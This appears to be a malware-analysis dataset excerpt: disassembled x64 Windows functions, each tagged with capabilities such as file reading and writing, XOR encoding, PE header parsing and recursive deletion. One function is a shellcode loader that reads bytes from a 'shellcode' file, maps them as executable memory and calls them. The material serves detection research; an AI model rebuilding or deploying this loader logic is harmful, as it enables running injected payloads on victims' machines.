joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002860
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000288d
xor eax, eax
jmp 0x1400029f9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400028c7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400028c7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400029f9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400029ec
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000290a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002935
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400029f1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400029a4
sub eax, 1
je 0x1400029a4
cmp eax, 2
jne 0x1400029ec
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400029f1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400029d2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400029ec
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400029f1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003540
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002ef0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002fc3
cmp byte [rcx + 0x71], 0
je 0x140002fc3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002fbf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002f84
sub eax, 1
je 0x140002f88
cmp eax, 2
jne 0x140002fbf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003540
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002fb6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140002fbf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140002f6c
xor al, al
jmp 0x140002f6c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003540
add rsp, 0x60
pop rbx
ret

Function at 0x140003ec0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003f0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003f0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003f0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003f0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140003f0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003f0c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ecx, 0x380
call fcn.140001170
movups xmm0, xmmword [str.E:cscs4.7_shellcode120.46.149.12288_stage]
mov rbx, rax
mov eax, dword [0x140003350]
movups xmm1, xmmword [0x140003338]
mov dword [rsp + 0x58], eax
lea rdx, [0x140003358]
movzx eax, word [0x140003354]
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x5c], ax
movsd xmm0, qword [0x140003348]
movsd qword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edx, 1
mov r8d, 0x380
mov r9, rax
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor edx, edx
mov dword [rsp + 0x20], 0x380
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], 0x380
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x22]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rax
mov edx, 7
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400010d0
call rax
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001150
add rsp, 0x70
pop rbx
ret

Function at 0x140001a70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aba
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001abc
xor al, al
add rsp, 0x28
ret
Function at 0x1400012b0
Capabilities:
Encode data using xor
Read file on windows
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
mov eax, 0x17c0
call fcn.14003ad30
sub rsp, rax
mov rax, qword [0x14004de00]
xor rax, rsp
mov qword [rsp + 0x17b0], rax
xor edi, edi
mov bpl, r9b
mov rsi, r8
mov r13, rdx
mov r12, rcx
test r8, r8
jle 0x1400013a2
mov r14d, 0x1770
mov r8d, esi
mov rax, rsi
lea r9, [rsp + 0x30]
sub r8d, edi
sub rax, rdi
lea rdx, [rsp + 0x40]
cmp rax, r14
mov rcx, r12
cmovg r8d, r14d
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400013e8
mov ecx, dword [rsp + 0x30]
test ecx, ecx
je 0x1400013e8
test bpl, bpl
je 0x140001354
test ecx, ecx
je 0x140001354
lea rax, [rsp + 0x40]
mov rdx, rcx
xor byte [rax], 0x88
inc rax
sub rdx, 1
jne 0x140001348
xor ebx, ebx
test ecx, ecx
je 0x14000138b
and qword [rsp + 0x20], 0
sub ecx, ebx
movsxd rax, ebx
mov r8d, ecx
lea rdx, [rsp + rax + 0x40]
lea r9, [rsp + 0x34]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400013c6
add ebx, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x30]
cmp ebx, ecx
jb 0x14000135a
mov eax, ecx
add rdi, rax
call fcn.140004bcc
test al, al
jne 0x1400013a2
cmp rdi, rsi
jl 0x1400012f7
xor eax, eax
mov rcx, qword [rsp + 0x17b0]
xor rcx, rsp
call fcn.14001c510
add rsp, 0x17c0
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rsp + 0x30]
lea rcx, str.WriteFile_failed__d__d
sub edx, ebx
mov r8d, eax
call fcn.140016300
mov eax, 2
jmp 0x1400013a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rsp + 0x30]
lea rcx, str.ReadFile_failed__d__d__I64d
mov r8d, eax
mov r9, rdi
call fcn.140016300
mov eax, 1
jmp 0x1400013a4
Function at 0x140004914
Capabilities:
Create directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
mov eax, 0x17a0
call fcn.14003ad30
sub rsp, rax
mov rax, qword [0x14004de00]
xor rax, rsp
mov qword [rsp + 0x1790], rax
mov bl, cl
lea rcx, str.extracting_files
call fcn.140016394
mov ecx, 0x7d2
call fcn.14000468c
lea rcx, [0x14003e2b0]
mov edx, eax
mov edi, eax
call fcn.140016394
xor r14d, r14d
cmp edi, r14d
jne 0x140004995
movzx eax, byte [0x14005b470]
cmp bl, r14b
cmovne eax, r14d
mov byte [0x14005b470], al
jmp 0x140004b1b
cmp bl, r14b
je 0x14000499f
call fcn.140019014
call fcn.140001058
mov edx, dword [0x14004f704]
xor r9d, r9d
mov rcx, rax
xor r8d, r8d
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0x7d3
call fcn.1400045c4
lea rdx, [0x14003e2ac]
mov r12d, r14d
mov rcx, rax
mov rbp, rax
call fcn.14001d05c
cmp edi, r14d
mov rbx, rax
jle 0x140004ae4
cmp rbx, r14
je 0x140004ae4
mov rcx, rbx
call fcn.14001bd50
cmp rax, r14
je 0x140004ae4
lea r8, [0x14005b470]
lea rdx, [0x14003e2a4]
lea rcx, [rsp + 0x20]
mov r9, rbx
call fcn.14001d218
mov edx, 0x5c
mov rcx, rbx
call fcn.14001bd20
mov r13, rax
cmp rax, r14
je 0x140004a8a
lea rcx, [0x14005b470]
call fcn.14001bd50
sub r13, rbx
lea rdx, [rsp + 0x20]
lea rcx, [rsp + r13 + 0x21]
mov byte [rcx + rax], r14b
lea rcx, str.creating_directory__S
call fcn.140016394
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp eax, r14d
jne 0x140004a8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140004a8a
lea rdx, [rsp + 0x20]
lea rcx, str.failed_to_create_directory__S
call fcn.140016300
lea r8, [0x14005b470]
lea rdx, [0x14003e2a4]
lea rcx, [rsp + 0x20]
mov r9, rbx
call fcn.14001d218
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140002cd8
mov ebx, eax
cmp eax, r14d
jne 0x140004b4f
lea rdx, [0x14003e2ac]
xor ecx, ecx
inc r12d
call fcn.14001d05c
mov rbx, rax
call fcn.140004bcc
cmp al, r14b
jne 0x140004b1b
cmp r12d, edi
jl 0x1400049e7
mov rcx, rbp
call fcn.14001c17c
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rsi
mov dword [0x14004f700], eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.extracting_files_done
call fcn.140016394
xor eax, eax
mov rcx, qword [rsp + 0x1790]
xor rcx, rsp
call fcn.14001c510
lea r11, [rsp + 0x17a0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret
lea rdx, [rsp + 0x20]
lea rcx, str.Failed_to_extract__S
call fcn.140016300
mov rcx, rbp
call fcn.14001c17c
mov eax, ebx
jmp 0x140004b1d
Function at 0x140005980
Capabilities:
Delete directory
Terminate process

Disassembly:
mov rax, rsp
push rbp
sub rsp, 0xb0
mov qword [rsp + 0xa8], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov ebx, ecx
cmp byte [0x14005cc00], 0
jne 0x140005acc
lea rbp, [0x14005b470]
mov rcx, rbp
call fcn.14001bd50
test rax, rax
je 0x140005acc
mov ecx, 8
call fcn.14001c708
test rax, rax
je 0x1400059db
lea rcx, [rsp + 0x78]
mov qword [rax], rcx
jmp 0x1400059dd
xor eax, eax
mov qword [rsp + 0x78], rax
and qword [rsp + 0x90], 0
and qword [rsp + 0x98], 0
and qword [rsp + 0xa0], 0
mov ecx, 8
call fcn.14001c708
test rax, rax
je 0x140005a16
lea rcx, [rsp + 0x20]
mov qword [rax], rcx
jmp 0x140005a18
xor eax, eax
mov qword [rsp + 0x20], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x40], 0
and qword [rsp + 0x48], 0
mov r9d, 1
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x78]
mov rcx, rbp
call fcn.1400084e8
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x140005aa3
mov qword [rsp + 0x70], 0xf
and qword [rsp + 0x68], 0
mov byte [rsp + 0x58], al
mov rcx, rbp
call fcn.14001bd50
mov r8, rax
mov rdx, rbp
lea rcx, [rsp + 0x50]
call fcn.140003310
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.1400058a0
nop
cmp qword [rsp + 0x70], 0x10
jb 0x140005aa3
mov rcx, qword [rsp + 0x58]
call fcn.14001c17c
nop
lea rcx, [rsp + 0x20]
call fcn.1400051dc
mov rcx, qword [rsp + 0x20]
call fcn.14001c17c
nop
lea rcx, [rsp + 0x78]
call fcn.1400051dc
mov rcx, qword [rsp + 0x78]
call fcn.14001c17c
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140005bd0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
lea rdx, [rsp + 0x50]
mov r8d, 8
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140005bfb
cmp dword [rsp + 0x48], 8
jae 0x140005c1b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.error__d_n
mov edx, eax
call fcn.140016394
lea rcx, str.Internal_Error:_readLong
call fcn.140005ad8
mov rax, qword [rsp + 0x50]
add rsp, 0x38
ret

Function at 0x140005c28
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
lea rdx, [rsp + 0x50]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140005c53
cmp dword [rsp + 0x48], 4
jae 0x140005c78
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, dword [rsp + 0x48]
lea rcx, str.error__d__d_n
mov edx, eax
call fcn.140016394
lea rcx, str.Internal_Error:_readInt
call fcn.140005ad8
mov eax, dword [rsp + 0x50]
add rsp, 0x38
ret

Function at 0x140005c84
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
lea rdx, [rsp + 0x48]
mov r8d, 2
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140005caf
cmp dword [rsp + 0x50], 2
jae 0x140005ccf
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.error__d_n
mov edx, eax
call fcn.140016394
lea rcx, str.Internal_Error:_readShort
call fcn.140005ad8
mov ax, word [rsp + 0x48]
add rsp, 0x38
ret
Function at 0x140005cdc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
call fcn.140005c28
movsxd rdi, eax
lea edx, [rdi + 1]
movsxd rcx, edx
call fcn.14001b160
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov rdx, rax
mov r8d, edi
mov rcx, rbx
mov rsi, rax
mov byte [rdi + rax], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140005d2c
cmp dword [rsp + 0x48], edi
jae 0x140005d38
lea rcx, str.Internal_Error:_readString
call fcn.140005ad8
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140005d4c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
call fcn.140005c28
mov rcx, 0xffffffffffffffff
mov ebp, eax
cdq
sub eax, edx
sar eax, 1
movsxd rbx, eax
mov eax, 2
lea edx, [rbx + 1]
movsxd r8, edx
mul r8
cmovo rax, rcx
mov rcx, rax
call fcn.14001b160
mov rcx, rbx
xor ebx, ebx
mov word [rax + rcx*2], bx
lea r9, [rsp + 0x48]
mov r8d, ebp
mov rcx, rdi
mov rdx, rax
mov rsi, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x140005dc2
cmp dword [rsp + 0x48], ebp
jae 0x140005dce
lea rcx, str.Internal_Error:_readWString
call fcn.140005ad8
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400077e0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x17a0
call fcn.14003ad30
sub rsp, rax
mov rax, qword [0x14004de00]
xor rax, rsp
mov qword [rsp + 0x1790], rax
mov rdi, rcx
lea rcx, [rsp + 0x20]
call fcn.140007710
lea rdx, [rsp + 0x20]
lea rcx, str.tempPath_is__S
call fcn.140016394
lea rdx, [0x14003eb10]
lea rcx, [rsp + 0x20]
mov r9, rdi
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x1400078b8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.GetTempFileName_failed__last_error__d_
mov edx, eax
call fcn.140016394
lea rcx, [rsp + 0x20]
call fcn.14001bd50
test eax, eax
jle 0x140007882
cdqe
cmp byte [rsp + rax + 0x1f], 0x5c
je 0x140007882
cmp byte [rsp + rax + 0x1f], 0x2f
je 0x140007882
lea rdx, [0x14003eab8]
lea rcx, [rsp + 0x20]
call fcn.14001c320
xor ecx, ecx
call fcn.14001dda8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
imul eax, ebx
mov ecx, eax
call fcn.14001e3a4
call fcn.14001e3bc
lea r8, [rsp + 0x20]
lea rdx, str._se4j_d
mov r9d, eax
mov rcx, rdi
call fcn.14001d218
lea rcx, str.tempFile_is__S
mov rdx, rdi
call fcn.140016394
mov rcx, qword [rsp + 0x1790]
xor rcx, rsp
call fcn.14001c510
mov rbx, qword [rsp + 0x17b8]
add rsp, 0x17a0
pop rdi
ret
Function at 0x140008268
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
push rsi
push rdi
mov eax, 0x1960
call fcn.14003ad30
sub rsp, rax
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rsp + 0x1998], rbx
mov rax, qword [0x14004de00]
xor rax, rsp
mov qword [rsp + 0x1950], rax
mov rbp, r8
mov rbx, rdx
mov rdx, rcx
lea rcx, [rsp + 0x1e0]
call fcn.14001c3c0
lea rdx, [0x14003ebfc]
lea rcx, [rsp + 0x1e0]
call fcn.14001c320
cmp byte [rbx], 0x2e
je 0x1400082df
lea rdx, [0x14003ebf8]
lea rcx, [rsp + 0x1e0]
call fcn.14001c320
mov rdx, rbx
lea rcx, [rsp + 0x1e0]
call fcn.14001c320
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140008315
xor eax, eax
jmp 0x1400084c2
mov ecx, 8
call fcn.14001c708
test rax, rax
je 0x14000832e
lea rcx, [rsp + 0x20]
mov qword [rax], rcx
jmp 0x140008330
xor eax, eax
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call fcn.140007c10
mov qword [rsp + 0x48], rax
and qword [rsp + 0x50], 0
mov ecx, 0x1770
call fcn.14001e500
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0xcc]
mov rcx, rax
call fcn.14001c3c0
mov rdi, qword [rsp + 0x48]
lea r9, [rsp + 0x60]
mov r8, qword [rdi + 8]
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.140007c48
mov rbx, rax
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.140008104
mov qword [rdi + 8], rbx
mov rcx, qword [rbx + 8]
mov qword [rcx], rbx
lea rdx, [rsp + 0xa0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
sete al
test al, al
je 0x14000834a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rsi, qword [rsp + 0x50]
movsxd rcx, esi
imul rcx, rcx, 0x1770
call fcn.14001e500
mov qword [rbp], rax
cmp qword [rsp + 0x50], 0
jbe 0x14000846f
xor ebx, ebx
mov rax, qword [rsp + 0x48]
mov rdi, qword [rax]
mov r11, qword [rsp + 0x20]
test r11, r11
jne 0x140008406
call fcn.14001c6e8
xor r11d, r11d
jmp 0x140008409
mov r11, qword [r11]
cmp rdi, qword [r11 + 0x28]
jne 0x140008414
call fcn.14001c6e8
mov rcx, qword [rbp]
mov rax, qword [rdi + 0x10]
mov qword [rbx + rcx], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax]
mov qword [rsp + 0x68], rcx
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x80], xmm0
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x20]
call fcn.14000804c
add rbx, 8
cmp qword [rsp + 0x50], 0
ja 0x1400083ea
mov rax, qword [rsp + 0x48]
mov rdx, qword [rax]
mov qword [rax], rax
mov rax, qword [rsp + 0x48]
mov qword [rax + 8], rax
and qword [rsp + 0x50], 0
mov rcx, qword [rsp + 0x48]
cmp rdx, rcx
je 0x1400084ab
mov rbx, qword [rdx]
mov rcx, rdx
call fcn.14001c17c
mov rdx, rbx
mov rcx, qword [rsp + 0x48]
cmp rbx, rcx
jne 0x140008493
call fcn.14001c17c
and qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0x20]
call fcn.14001c17c
mov eax, esi
mov rcx, qword [rsp + 0x1950]
xor rcx, rsp
call fcn.14001c510
mov rbx, qword [rsp + 0x1998]
add rsp, 0x1960
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400084e8
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbx
push rbp
push rsi
push rdi
mov eax, 0x3098
call fcn.14003ad30
sub rsp, rax
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov rax, qword [0x14004de00]
xor rax, rsp
mov qword [rsp + 0x3080], rax
mov esi, r9d
mov qword [rsp + 0x20], r8
mov rbp, rdx
mov rbx, rcx
mov r8d, 1
lea rdx, [0x14003ebf8]
call fcn.14001d160
test eax, eax
je 0x1400087b3
mov rcx, rbx
call fcn.14001bd50
test rax, rax
je 0x1400087b3
mov rdx, rbx
lea rcx, str.emptying__S
call fcn.140016394
mov rcx, rbx
call fcn.14001bd50
test rax, rax
je 0x1400087b3
mov rdx, rbx
lea rcx, [rsp + 0x1910]
call fcn.14001c3c0
lea rcx, [rsp + 0x1910]
call fcn.14001bd50
cmp byte [rsp + rax + 0x1910], 0x5c
je 0x1400085a9
lea rdx, [0x14003eab8]
lea rcx, [rsp + 0x1910]
call fcn.14001c320
lea rdx, [0x14003ec98]
lea rcx, [rsp + 0x1910]
call fcn.14001c320
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400087b3
lea rdx, [0x14003ebf8]
lea rcx, [rsp + 0x8c]
call fcn.14001e290
test eax, eax
je 0x140008794
lea rdx, [0x14003ec94]
lea rcx, [rsp + 0x8c]
call fcn.14001e290
test eax, eax
je 0x140008794
mov rdx, rbx
lea rcx, [rsp + 0x1a0]
call fcn.14001c3c0
lea rcx, [rsp + 0x1a0]
call fcn.14001bd50
cmp byte [rsp + rax + 0x1a0], 0x5c
je 0x140008650
lea rdx, [0x14003eab8]
lea rcx, [rsp + 0x1a0]
call fcn.14001c320
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x1a0]
call fcn.14001c320
test byte [rsp + 0x60], 0x10
jbe 0x140008718
mov r8d, esi
lea rdx, [rsp + 0x1a0]
lea rcx, str.attempting_to_remove__S___d_
call fcn.140016394
test esi, esi
jle 0x1400086a4
lea r9d, [rsi - 1]
mov r8, qword [rsp + 0x20]
mov rdx, rbp
lea rcx, [rsp + 0x1a0]
call fcn.1400084e8
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x140008794
mov qword [rsp + 0x48], 0xf
and qword [rsp + 0x40], 0
mov byte [rsp + 0x30], al
lea rcx, [rsp + 0x1a0]
call fcn.14001bd50
mov r8, rax
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x28]
call fcn.140003310
nop
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
call fcn.1400058a0
nop
cmp qword [rsp + 0x48], 0x10
jb 0x140008794
mov rcx, qword [rsp + 0x30]
call fcn.14001c17c
jmp 0x140008794
lea rdx, [rsp + 0x1a0]
lea rcx, str.attempting_to_delete__S
call fcn.140016394
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140008794
mov qword [rsp + 0x48], 0xf
and qword [rsp + 0x40], 0
mov byte [rsp + 0x30], al
lea rcx, [rsp + 0x1a0]
call fcn.14001bd50
mov r8, rax
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x28]
call fcn.140003310
nop
lea rdx, [rsp + 0x28]
mov rcx, rbp
call fcn.1400058a0
nop
cmp qword [rsp + 0x48], 0x10
jb 0x140008794
mov rcx, qword [rsp + 0x30]
call fcn.14001c17c
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400085dd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x3080]
xor rcx, rsp
call fcn.14001c510
add rsp, 0x3098
pop rdi
pop rsi
pop rbp
pop rbx
ret